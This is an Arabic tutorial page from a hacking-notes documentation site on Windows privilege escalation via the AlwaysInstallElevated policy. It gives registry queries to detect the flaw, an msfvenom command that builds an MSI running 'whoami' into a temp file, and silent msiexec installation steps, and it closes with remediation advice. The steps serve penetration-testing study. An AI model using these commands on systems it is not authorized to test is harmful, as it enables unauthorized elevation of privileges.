> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md).

# تصعيد امتيازات ويندوز عبر AlwaysInstallElevated

`AlwaysInstallElevated` هي سياسة خطيرة في Windows تسمح للمستخدم غير المسؤول بتثبيت حِزم MSI بامتيازات مرتفعة عندما يكون كلٌّ من مفتاحي السجل الخاص بالمستخدم الحالي والآلة المحلية مفعَّلين.

## الكشف

تكون الثغرة قابلة للاستغلال عندما تُرجع القيمتان كلتاهما `1`:

```cmd
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

<figure><img src="/files/86b70774ff27e3cc930ac44245109a932f52a089" alt="AlwaysInstallElevated registry keys enabled"><figcaption></figcaption></figure>

## التحقق المخبري

في مختبر مضبوط، أنشئ ملف MSI يقوم بإجراء تحقق واضح وملاحظ، مثل كتابة الهوية المرتفعة إلى ملف مؤقت. استبدل الإجراء بالحِمولة المصرّح بها فقط بعد تأكيد النطاق وإعداد المستمع.

```bash
msfvenom -p windows/exec CMD='cmd /c whoami > C:\Windows\Temp\msi-check.txt' -f msi -o check.msi
```

<figure><img src="/files/a4752c09439abcfbcda161fdc44e17ce712b7a1a" alt="MSI payload transferred to the Windows target"><figcaption></figcaption></figure>

## تنفيذ المُثبّت

ثبّت ملف MSI بصمت:

```cmd
msiexec /quiet /qn /i check.msi
type C:\Windows\Temp\msi-check.txt
```

<figure><img src="/files/c4573c56d85e6f9797206ee35d90e3c1347eb714" alt="Elevated shell received after MSI execution"><figcaption></figcaption></figure>

## النقاط الرئيسية

* يجب أن يكون مفتاحا السجل كلاهما مفعّلين.
* يعمل ملف MSI بامتيازات مرتفعة.
* إذا كان مفتاح واحد فقط مفعلاً، فاعتبر ذلك نتيجةً متعلقةً بالتقوية الأمنية، لكن لا تتعامل معه على أنه تصعيد صلاحيات فعلي.
* عالج المشكلة بتعطيل السياسة ومراقبة عمليات تثبيت MSI غير الطبيعية.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
